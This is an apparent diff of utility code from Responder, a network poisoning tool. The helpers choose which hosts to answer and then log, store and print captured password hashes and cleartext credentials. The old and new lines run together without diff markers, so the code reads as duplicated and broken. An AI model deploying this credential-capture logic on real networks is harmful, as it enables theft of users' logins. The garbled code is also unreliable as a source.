return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net += '/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
||||
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
|
||||
return False
|
||||
|
||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
|
||||
return False
|
||||
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
if ClientIp not in settings.Config.DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
|
||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
||||
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
|
||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
|
||||
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
||||
|
||||
def IsOsX():
|
||||
return True if settings.Config.Os_version == "darwin" else False
|
||||
def RespondWithIPAton():
|
||||
if settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIPAton
|
||||
else:
|
||||
return settings.Config.IP_aton
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return False if IsOsX() else True
|
||||
else:
|
||||
return False
|
||||
return not IsOsX()
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface):
|
||||
def IsOsX():
|
||||
return sys.platform == "darwin"
|
||||
|
||||
def FindLocalIP(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
|
||||
return ret
|
||||
|
||||
if IsOsX():
|
||||
return OURIP
|
||||
elif OURIP == None:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
return OURIP
|
||||
except socket.error:
|
||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
|
||||
if os.path.isfile(outfile) == False:
|
||||
if not os.path.isfile(outfile):
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
outf.write(data + '\n')
|
||||
return
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
return False
|
||||
elif re.search(re.escape("$"), user):
|
||||
return False
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data + '\n')
|
||||
|
||||
else:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
# Function used to write debug config and network info.
|
||||
def DumpConfig(outfile, data):
|
||||
with open(outfile,"a") as dump:
|
||||
dump.write(data + '\n')
|
||||
|
||||
def SaveToDb(result):
|
||||
|
||||
# Creating the DB if it doesn't exist
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
@@ -151,65 +155,73 @@ def SaveToDb(result):
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
|
||||
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
|
||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if count == 0:
|
||||
|
||||
# Write JtR-style hash string to file
|
||||
|
||||
if not count:
|
||||
with open(logfile,"a") as outf:
|
||||
outf.write(result['fullhash'])
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
|
||||
|
||||
# Update database
|
||||
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
# Print output
|
||||
if count == 0 or settings.Config.Verbose:
|
||||
if settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||
|
||||
if len(result['hostname']):
|
||||
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
||||
|
||||
if len(result['user']):
|
||||
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
||||
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
||||
|
||||
elif len(result['fullhash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
|
||||
|
||||
elif len(result['hash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
||||
|
||||
|
||||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
|
||||
else:
|
||||
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
|
||||
text('[*] Skipping previously captured hash for %s' % result['user'])
|
||||
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
return False
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
|
||||
@@ -221,12 +233,12 @@ def Decode_Name(nbname):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
|
||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
|
||||
except:
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
return {
|
||||
"\x41\x41\x00":"Workstation/Redirector",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain Controller",
|
||||
@@ -234,12 +246,10 @@ def NBT_NS_Role(data):
|
||||
"\x42\x4f\x00":"Browser Election",
|
||||
"\x43\x41\x00":"File Server",
|
||||
"\x41\x42\x00":"Browser",
|
||||
}
|
||||
}.get(data, 'Service not known')
|
||||
|
||||
return Role[data] if data in Role else "Service not known"
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
@@ -251,10 +261,11 @@ def banner():
|
||||
print banner
|
||||
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
|
||||
print ""
|
||||
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
|
||||
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
|
||||
print " To kill this script hit CRTL-C"
|
||||
print ""
|
||||
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
@@ -270,6 +281,7 @@ def StartupMessage():
|
||||
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
|
||||
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
|
||||
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
|
||||
print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)
|
||||
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
|
||||
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
|
||||
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
|
||||
@@ -304,55 +316,13 @@ def StartupMessage():
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||
|
||||
if len(settings.Config.RespondTo):
|
||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.RespondToName):
|
||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondTo):
|
||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||
print "\n\n"
|
||||
|
||||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
res = []
|
||||
sep = '.'
|
||||
src = str(src)
|
||||
|
||||
for i in range(0, len(src), l):
|
||||
s = src[i:i+l]
|
||||
hexa = ''
|
||||
|
||||
for h in range(0,len(s)):
|
||||
if h == l/2:
|
||||
hexa += ' '
|
||||
h = s[h]
|
||||
if not isinstance(h, int):
|
||||
h = ord(h)
|
||||
h = hex(h).replace('0x','')
|
||||
if len(h) == 1:
|
||||
h = '0'+h
|
||||
hexa += h + ' '
|
||||
|
||||
hexa = hexa.strip(' ')
|
||||
text = ''
|
||||
|
||||
for c in s:
|
||||
if not isinstance(c, int):
|
||||
c = ord(c)
|
||||
|
||||
if 0x20 <= c < 0x7F:
|
||||
text += chr(c)
|
||||
else:
|
||||
text += sep
|
||||
|
||||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||
|
||||
return '\n'.join(res)
|
||||
|
||||
Reference in New Issue
Block a user